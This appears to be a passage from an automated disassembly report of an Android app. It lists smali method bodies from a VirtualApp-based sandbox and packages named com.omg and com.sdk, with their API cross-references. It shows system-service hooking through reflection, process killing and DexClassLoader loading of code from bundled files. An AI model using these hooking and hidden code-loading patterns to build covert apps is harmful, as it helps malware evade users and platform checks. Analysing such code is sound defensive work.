                              11try_end_c: move-result-object v0
                              12goto_d: return-object v0
                              13catch_e: move-exception v1
                              14goto/16 :goto_d
                              Cross References
                              APIs
                              • com.lody.virtual.server.am.VActivityManagerService.mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray
                              • com.lody.virtual.server.am.VActivityManagerService.mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray
                              • com.lody.virtual.server.am.VActivityManagerService.mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray
                              • android.os.Process.killProcess
                              • android.app.IStopUserCallback$Stub.userStopped
                              • android.os.RemoteException.printStackTrace
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v2, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray;
                              3monitor-enter v2
                              4try_start_3:
                              5iget-object v0, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray;
                              7invoke-virtual {v0}, Lcom/lody/virtual/helper/collection/SparseArray;->size()I
                              8move-result v0
                              9goto_9: add-int/lit8 v1, v0, -0x1
                              10if-lez v0, :cond_20
                              12iget-object v0, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray;
                              14invoke-virtual {v0, v1}, Lcom/lody/virtual/helper/collection/SparseArray;->valueAt(I)Ljava/lang/Object;
                              15move-result-object v0
                              16check-cast v0, Lcom/lody/virtual/server/am/ProcessRecord;
                              17iget v3, v0, Lcom/lody/virtual/server/am/ProcessRecord;->userId:I
                              18if-ne v3, p1, :cond_1e
                              19iget v0, v0, Lcom/lody/virtual/server/am/ProcessRecord;->pid:I
                              21invoke-static {v0}, Landroid/os/Process;->killProcess(I)V
                              22cond_1e: move v0, v1
                              23goto/16 :goto_9
                              24cond_20: monitor-exit v2
                              25try_end_21:
                              26invoke-virtual {p2, p1}, Landroid/app/IStopUserCallback$Stub;->userStopped(I)V
                              27try_end_24: const/4 v0, 0x0
                              28return v0
                              29catchall_26: move-exception v0
                              30try_start_27: monitor-exit v2
                              31try_end_28: throw v0
                              32catch_29: move-exception v0
                              34invoke-virtual {v0}, Landroid/os/RemoteException;->printStackTrace()V
                              35goto/16 :goto_24
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2const/4 v3, 0x0
                              3array-length v0, p3
                              4if-le v0, v1, :cond_29
                              5aget-object v0, p3, v3
                              6instance-of v0, v0, Ljava/lang/String;
                              7if-eqz v0, :cond_29
                              8aget-object v0, p3, v1
                              9instance-of v0, v0, Ljava/lang/Integer;
                              10if-eqz v0, :cond_29
                              11aget-object v0, p3, v3
                              12check-cast v0, Ljava/lang/String;
                              13aget-object v1, p3, v1
                              14check-cast v1, Ljava/lang/Integer;
                              16invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              17move-result v1
                              19invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              20move-result-object v2
                              22invoke-virtual {v2, v0, v1}, Lcom/lody/virtual/client/ipc/VActivityManager;->killApplicationProcess(Ljava/lang/String;I)V
                              24invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              25move-result-object v0
                              26goto_28: return-object v0
                              27cond_29:
                              28invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              29move-result-object v0
                              30goto/16 :goto_28
                              Cross References
                              APIs
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.Exception.printStackTrace
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"<T:",
                              3"Ljava/lang/Object;",
                              4">(",
                              5"Ljava/lang/Object;",
                              6"Ljava/lang/String;",
                              7")TT;"
                              8}
                              9.end annotation
                              10.prologue
                              11const/4 v0, 0x0
                              12try_start_1:
                              13invoke-static {p0, p1}, Lcom/core/model/j;->b(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                              14move-result-object v1
                              15if-nez v1, :cond_8
                              16goto_7: return-object v0
                              17cond_8: const/4 v2, 0x1
                              19invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              21invoke-virtual {v1, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              22try_end_f: move-result-object v0
                              23goto/16 :goto_7
                              24catch_11: move-exception v1
                              26invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              27goto/16 :goto_7
                              APIs
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • java.lang.Boolean.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Ljava/lang/String;
                              5invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$AreNotificationsEnabledForPackage;->getHostPkg()Ljava/lang/String;
                              6move-result-object v1
                              8invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              9move-result v1
                              10if-eqz v1, :cond_14
                              12invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              13move-result-object v0
                              14goto_13: return-object v0
                              15cond_14:
                              16invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              17move-result-object v1
                              19invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$AreNotificationsEnabledForPackage;->getAppUserId()I
                              20move-result v2
                              22invoke-virtual {v1, v0, v2}, Lcom/lody/virtual/client/ipc/VNotificationManager;->areNotificationsEnabledForPackage(Ljava/lang/String;I)Z
                              23move-result v0
                              25invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              26move-result-object v0
                              27goto/16 :goto_13
                              APIs
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2aget-object v0, p3, v2
                              3check-cast v0, Ljava/lang/String;
                              5invoke-static {}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageUid;->getHostPkg()Ljava/lang/String;
                              6move-result-object v1
                              8invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              9move-result v1
                              10if-eqz v1, :cond_14
                              12invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              13move-result-object v0
                              14goto_13: return-object v0
                              15cond_14:
                              16invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              17move-result-object v1
                              19invoke-virtual {v1, v0, v2}, Lcom/lody/virtual/client/ipc/VPackageManager;->getPackageUid(Ljava/lang/String;I)I
                              20move-result v0
                              22invoke-static {v0}, Lcom/lody/virtual/os/VUserHandle;->getAppId(I)I
                              23move-result v0
                              25invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              26move-result-object v0
                              27goto/16 :goto_13
                              Cross References
                              APIs
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.Exception.printStackTrace
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"<T:",
                              3"Ljava/lang/Object;",
                              4">(",
                              5"Ljava/lang/Object;",
                              6"Ljava/lang/String;",
                              7")TT;"
                              8}
                              9.end annotation
                              10.prologue
                              11const/4 v0, 0x0
                              12try_start_1:
                              13invoke-static {p0, p1}, Lcom/omg/tool/ReflectHelper;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                              14move-result-object v1
                              15if-nez v1, :cond_8
                              16goto_7: return-object v0
                              17cond_8: const/4 v2, 0x1
                              19invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              21invoke-virtual {v1, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              22try_end_f: move-result-object v0
                              23goto/16 :goto_7
                              24catch_11: move-exception v1
                              26invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              27goto/16 :goto_7
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"<T:",
                              3"Ljava/lang/Object;",
                              4">(",
                              5"Ljava/lang/Class",
                              6"<*>;",
                              7"Ljava/lang/String;",
                              8"[",
                              9"Ljava/lang/Class",
                              10"<*>;",
                              11"Ljava/lang/Object;",
                              12"[",
                              13"Ljava/lang/Object;",
                              14")TT;"
                              15}
                              16.end annotation
                              17.prologue
                              19invoke-virtual {p0, p1, p2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              20move-result-object v0
                              21const/4 v1, 0x1
                              23invoke-virtual {v0, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              25invoke-virtual {v0, p3, p4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              26move-result-object v0
                              27return-object v0
                              APIs
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1:
                              3invoke-static {p0, p1, p3}, Lcom/omg/event/utils/ReflacUtlis;->getMethod(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              4move-result-object v1
                              5if-eqz v1, :cond_15
                              6const/4 v2, 0x1
                              8invoke-virtual {v1, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              9if-nez p2, :cond_16
                              10const/4 v2, 0x0
                              11const/4 v3, 0x0
                              12new-array v3, v3, [Ljava/lang/Object;
                              14invoke-virtual {v1, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              15move-result-object v0
                              16cond_15: return-object v0
                              17cond_16: const/4 v2, 0x0
                              19invoke-virtual {v1, v2, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              20try_end_1a: move-result-object v0
                              21goto/16 :goto_15
                              22catch_1c: move-exception v1
                              24const-string v2, ""
                              26invoke-static {v2, v1}, Lcom/omg/event/utils/Logger;->e(Ljava/lang/String;Ljava/lang/Exception;)V
                              27goto/16 :goto_15
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.IllegalAccessException.printStackTrace
                              • java.lang.reflect.InvocationTargetException.printStackTrace
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"<T:",
                              3"Ljava/lang/Object;",
                              4">()TT;"
                              5}
                              6.end annotation
                              7.prologue
                              8try_start_0:
                              9iget-object v0, p0, Lcom/lody/virtual/client/hook/base/MethodBox;->method:Ljava/lang/reflect/Method;
                              11iget-object v1, p0, Lcom/lody/virtual/client/hook/base/MethodBox;->who:Ljava/lang/Object;
                              13iget-object v2, p0, Lcom/lody/virtual/client/hook/base/MethodBox;->args:[Ljava/lang/Object;
                              15invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16try_end_9: move-result-object v0
                              17goto_a: return-object v0
                              18catch_b: move-exception v0
                              20invoke-virtual {v0}, Ljava/lang/IllegalAccessException;->printStackTrace()V
                              21goto_f: const/4 v0, 0x0
                              22goto/16 :goto_a
                              23catch_11: move-exception v0
                              25invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->printStackTrace()V
                              26goto/16 :goto_f
                              Cross References
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.InvocationTargetException.getCause
                              • java.lang.reflect.InvocationTargetException.getCause
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Object;",
                              4"[",
                              5"Ljava/lang/Object;",
                              6")TT;"
                              7}
                              8.end annotation
                              9.prologue
                              10try_start_0:
                              11iget-object v0, p0, Lmirror/RefMethod;->method:Ljava/lang/reflect/Method;
                              13invoke-virtual {v0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              14try_end_5: move-result-object v0
                              15return-object v0
                              16catch_7: move-exception v0
                              18invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              19move-result-object v1
                              20if-eqz v1, :cond_13
                              22invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              23move-result-object v0
                              24throw v0
                              25cond_13: throw v0
                              Cross References
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.InvocationTargetException.getCause
                              • java.lang.reflect.InvocationTargetException.getCause
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"([",
                              3"Ljava/lang/Object;",
                              4")TT;"
                              5}
                              6.end annotation
                              7.prologue
                              8try_start_0:
                              9iget-object v0, p0, Lmirror/RefStaticMethod;->method:Ljava/lang/reflect/Method;
                              10const/4 v1, 0x0
                              12invoke-virtual {v0, v1, p1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              13try_end_6: move-result-object v0
                              14return-object v0
                              15catch_8: move-exception v0
                              17invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              18move-result-object v1
                              19if-eqz v1, :cond_14
                              21invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              22move-result-object v0
                              23throw v0
                              24cond_14: throw v0
                              APIs
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1:
                              3invoke-virtual {p0, p1}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              4try_end_4: move-result-object v1
                              5goto_5: if-eqz v1, :cond_10
                              6const/4 v2, 0x1
                              7try_start_8:
                              8invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              9const/4 v2, 0x0
                              11invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              12move-result-object v0
                              13goto_10: return-object v0
                              14catch_11: move-exception v1
                              16invoke-static {p0, p1}, Lcom/omg/event/utils/ReflacUtlis;->getSuperField(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Field;
                              17try_end_15: move-result-object v1
                              18goto/16 :goto_5
                              19catch_17: move-exception v1
                              21const-string v2, ""
                              23invoke-static {v2, v1}, Lcom/omg/event/utils/Logger;->e(Ljava/lang/String;Ljava/lang/Exception;)V
                              24goto/16 :goto_10
                              APIs
                              • com.lody.virtual.client.hook.secondary.ServiceConnectionDelegate.removeDelegate
                              • java.lang.reflect.Method.invoke
                              • java.lang.Boolean.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Landroid/app/IServiceConnection;
                              5invoke-static {v0}, Lcom/lody/virtual/client/hook/secondary/ServiceConnectionDelegate;->removeDelegate(Landroid/app/IServiceConnection;)Lcom/lody/virtual/client/hook/secondary/ServiceConnectionDelegate;
                              6move-result-object v0
                              7if-nez v0, :cond_10
                              9invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              10move-result-object v0
                              11goto_f: return-object v0
                              12cond_10:
                              13invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              14move-result-object v1
                              16invoke-virtual {v1, v0}, Lcom/lody/virtual/client/ipc/VActivityManager;->unbindService(Landroid/app/IServiceConnection;)Z
                              17move-result v0
                              19invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              20move-result-object v0
                              21goto/16 :goto_f
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Object;",
                              4"Ljava/lang/Class",
                              5"<*>;",
                              6"Ljava/lang/String;",
                              7")",
                              8"Ljava/lang/Object;"
                              9}
                              10.end annotation
                              11.prologue
                              13invoke-virtual {p1, p2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              14move-result-object v0
                              15const/4 v1, 0x1
                              17invoke-virtual {v0, v1}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              19invoke-virtual {v0, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              20move-result-object v0
                              21return-object v0
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Object;",
                              4"Ljava/lang/Class",
                              5"<*>;",
                              6"Ljava/lang/String;",
                              7")",
                              8"Ljava/lang/Object;"
                              9}
                              10.end annotation
                              11.prologue
                              13invoke-virtual {p1, p2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              14move-result-object v0
                              15const/4 v1, 0x1
                              17invoke-virtual {v0, v1}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              19invoke-virtual {v0, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              20move-result-object v0
                              21return-object v0
                              Cross References
                              APIs
                              • java.lang.Object.<init>
                              • android.accounts.Account.name:Ljava/lang/String
                              • android.accounts.Account.type:Ljava/lang/String
                              • java.util.HashMap.<init>
                              • java.util.HashMap.<init>
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                              3iput p1, p0, Lcom/lody/virtual/server/accounts/VAccount;->userId:I
                              5iget-object v0, p2, Landroid/accounts/Account;->name:Ljava/lang/String;
                              6iput-object v0, p0, Lcom/lody/virtual/server/accounts/VAccount;->name:Ljava/lang/String;
                              8iget-object v0, p2, Landroid/accounts/Account;->type:Ljava/lang/String;
                              9iput-object v0, p0, Lcom/lody/virtual/server/accounts/VAccount;->type:Ljava/lang/String;
                              10new-instance v0, Ljava/util/HashMap;
                              12invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                              13iput-object v0, p0, Lcom/lody/virtual/server/accounts/VAccount;->authTokens:Ljava/util/Map;
                              14new-instance v0, Ljava/util/HashMap;
                              16invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                              17iput-object v0, p0, Lcom/lody/virtual/server/accounts/VAccount;->userDatas:Ljava/util/Map;
                              18return-void
                              APIs
                              • com.sdk.export.APIExporter$1.a:Landroid/app/ActivityManager
                              • android.app.ActivityManager.getRunningTasks
                              • java.util.List.size
                              • java.util.List.get
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/sdk/export/APIExporter$1;->a:Landroid/app/ActivityManager;
                              3const/4 v1, 0x1
                              5invoke-virtual {v0, v1}, Landroid/app/ActivityManager;->getRunningTasks(I)Ljava/util/List;
                              6move-result-object v0
                              8invoke-interface {v0}, Ljava/util/List;->size()I
                              9move-result v1
                              10if-lez v1, :cond_15
                              11const/4 v1, 0x0
                              13invoke-interface {v0, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                              14move-result-object v0
                              15check-cast v0, Landroid/app/ActivityManager$RunningTaskInfo;
                              16goto_14: return-object v0
                              17cond_15: const/4 v0, 0x0
                              18goto/16 :goto_14
                              Cross References
                              APIs
                              • java.io.File.getPath
                              • java.io.File.getParent
                              • dalvik.system.DexClassLoader.<init>
                              Position Instruction Meta Information
                              0.prologue
                              1monitor-enter p0
                              2try_start_1: new-instance v0, Ldalvik/system/DexClassLoader;
                              4invoke-virtual {p1}, Ljava/io/File;->getPath()Ljava/lang/String;
                              5move-result-object v1
                              7invoke-virtual {p1}, Ljava/io/File;->getParent()Ljava/lang/String;
                              8move-result-object v2
                              9const/4 v3, 0x0
                              11iget-object v4, p0, Lcom/omg/tool/Loader$AssetsClassLoader;->c:Ljava/lang/ClassLoader;
                              13invoke-direct {v0, v1, v2, v3, v4}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              14try_end_11: monitor-exit p0
                              15return-object v0
                              16catchall_13: move-exception v0
                              17monitor-exit p0
                              18throw v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.Throwable.getCause
                              • java.lang.Throwable.getCause
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2iget-object v0, p0, Lcom/lody/virtual/client/ipc/LocalProxyUtils$1;->val$base:Ljava/lang/Object;
                              4invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5try_end_5: move-result-object v0
                              6return-object v0
                              7catch_7: move-exception v0
                              9invoke-virtual {v0}, Ljava/lang/Throwable;->getCause()Ljava/lang/Throwable;
                              10move-result-object v1
                              11if-nez v1, :cond_f
                              12goto_e: throw v0
                              13cond_f:
                              14invoke-virtual {v0}, Ljava/lang/Throwable;->getCause()Ljava/lang/Throwable;
                              15move-result-object v0
                              16goto/16 :goto_e
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.InvocationTargetException.getCause
                              • java.lang.reflect.InvocationTargetException.getCause
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2iget-object v0, p0, Lcom/lody/virtual/client/hook/secondary/ProxyServiceFactory$1$1$1;->val$base:Landroid/os/IInterface;
                              4invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5try_end_5: move-result-object v0
                              6return-object v0
                              7catch_7: move-exception v0
                              9invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              10move-result-object v1
                              11if-eqz v1, :cond_13
                              13invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              14move-result-object v0
                              15throw v0
                              16cond_13: throw v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.InvocationTargetException.getCause
                              • java.lang.reflect.InvocationTargetException.getCause
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2iget-object v0, p0, Lcom/lody/virtual/client/hook/secondary/ProxyServiceFactory$2$1$1;->val$base:Landroid/os/IInterface;
                              4invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5try_end_5: move-result-object v0
                              6return-object v0
                              7catch_7: move-exception v0
                              9invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              10move-result-object v1
                              11if-eqz v1, :cond_13
                              13invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              14move-result-object v0
                              15throw v0
                              16cond_13: throw v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.InvocationTargetException.getCause
                              • java.lang.reflect.InvocationTargetException.getCause
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2iget-object v0, p0, Lcom/lody/virtual/client/hook/secondary/ProxyServiceFactory$3$1$1;->val$base:Landroid/os/IInterface;
                              4invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              5try_end_5: move-result-object v0
                              6return-object v0
                              7catch_7: move-exception v0
                              9invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              10move-result-object v1
                              11if-eqz v1, :cond_13
                              13invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              14move-result-object v0
                              15throw v0
                              16cond_13: throw v0
                              Cross References
                              APIs
                              • java.io.File.getPath
                              • java.io.File.getParent
                              • dalvik.system.DexClassLoader.<init>
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ldalvik/system/DexClassLoader;
                              3invoke-virtual {p1}, Ljava/io/File;->getPath()Ljava/lang/String;
                              4move-result-object v1
                              6invoke-virtual {p1}, Ljava/io/File;->getParent()Ljava/lang/String;
                              7move-result-object v2
                              8const/4 v3, 0x0
                              10iget-object v4, p0, Lcom/omg/tool/Loader$ResourceClassLoader;->b:Ljava/lang/ClassLoader;
                              12invoke-direct {v0, v1, v2, v3, v4}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              13return-object v0
                              APIs
                              • android.os.Process.myPid
                              • android.os.Process.killProcess
                              • java.lang.System.exit
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {}, Landroid/os/Process;->myPid()I
                              3move-result v0
                              5invoke-static {v0}, Landroid/os/Process;->killProcess(I)V
                              6const/4 v0, 0x0
                              8invoke-static {v0}, Ljava/lang/System;->exit(I)V
                              9return-void
                              Cross References
                              APIs
                              • android.content.ComponentName.getPackageName
                              Strings
                              • android
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v1, p0, Lcom/lody/virtual/server/am/ActivityStack;->mHistory:Landroid/util/SparseArray;
                              3monitor-enter v1
                              4try_start_3:
                              5invoke-direct {p0, p1, p2}, Lcom/lody/virtual/server/am/ActivityStack;->findActivityByToken(ILandroid/os/IBinder;)Lcom/lody/virtual/server/am/ActivityRecord;
                              6move-result-object v0
                              7if-eqz v0, :cond_18
                              9iget-object v2, v0, Lcom/lody/virtual/server/am/ActivityRecord;->caller:Landroid/content/ComponentName;
                              10if-eqz v2, :cond_15
                              12iget-object v0, v0, Lcom/lody/virtual/server/am/ActivityRecord;->caller:Landroid/content/ComponentName;
                              14invoke-virtual {v0}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                              15move-result-object v0
                              16goto_13: monitor-exit v1
                              17goto_14: return-object v0
                              18cond_15:
                              19const-string v0, "android"
                              20goto/16 :goto_13
                              21cond_18:
                              22const-string v0, "android"
                              23monitor-exit v1
                              24goto/16 :goto_14
                              25catchall_1c: move-exception v0
                              26monitor-exit v1
                              27try_end_1e: throw v0
                              APIs
                              • android.util.Log.w
                              Strings
                              • Sdk
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "Sdk"
                              4invoke-static {v0, p1}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                              5return-void
                              APIs
                              • android.content.pm.ProviderInfo.packageName:Ljava/lang/String
                              • android.content.pm.ProviderInfo.packageName:Ljava/lang/String
                              • android.content.pm.ProviderInfo.processName:Ljava/lang/String
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              • android.content.pm.ProviderInfo.authority:Ljava/lang/String
                              • android.content.pm.ProviderInfo.authority:Ljava/lang/String
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x1
                              2const/4 v1, 0x0
                              4invoke-virtual {p0}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$GetContentProvider;->getProviderNameIndex()I
                              5move-result v2
                              6aget-object v0, p3, v2
                              7check-cast v0, Ljava/lang/String;
                              9invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              10move-result v3
                              12invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              13move-result-object v4
                              14const/4 v5, 0x0
                              16invoke-virtual {v4, v0, v5, v3}, Lcom/lody/virtual/client/ipc/VPackageManager;->resolveContentProvider(Ljava/lang/String;II)Landroid/content/pm/ProviderInfo;
                              17move-result-object v4
                              18if-eqz v4, :cond_85
                              19iget-boolean v0, v4, Landroid/content/pm/ProviderInfo;->enabled:Z
                              20if-eqz v0, :cond_85
                              22iget-object v0, v4, Landroid/content/pm/ProviderInfo;->packageName:Ljava/lang/String;
                              24invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$GetContentProvider;->isAppPkg(Ljava/lang/String;)Z
                              25move-result v0
                              26if-eqz v0, :cond_85
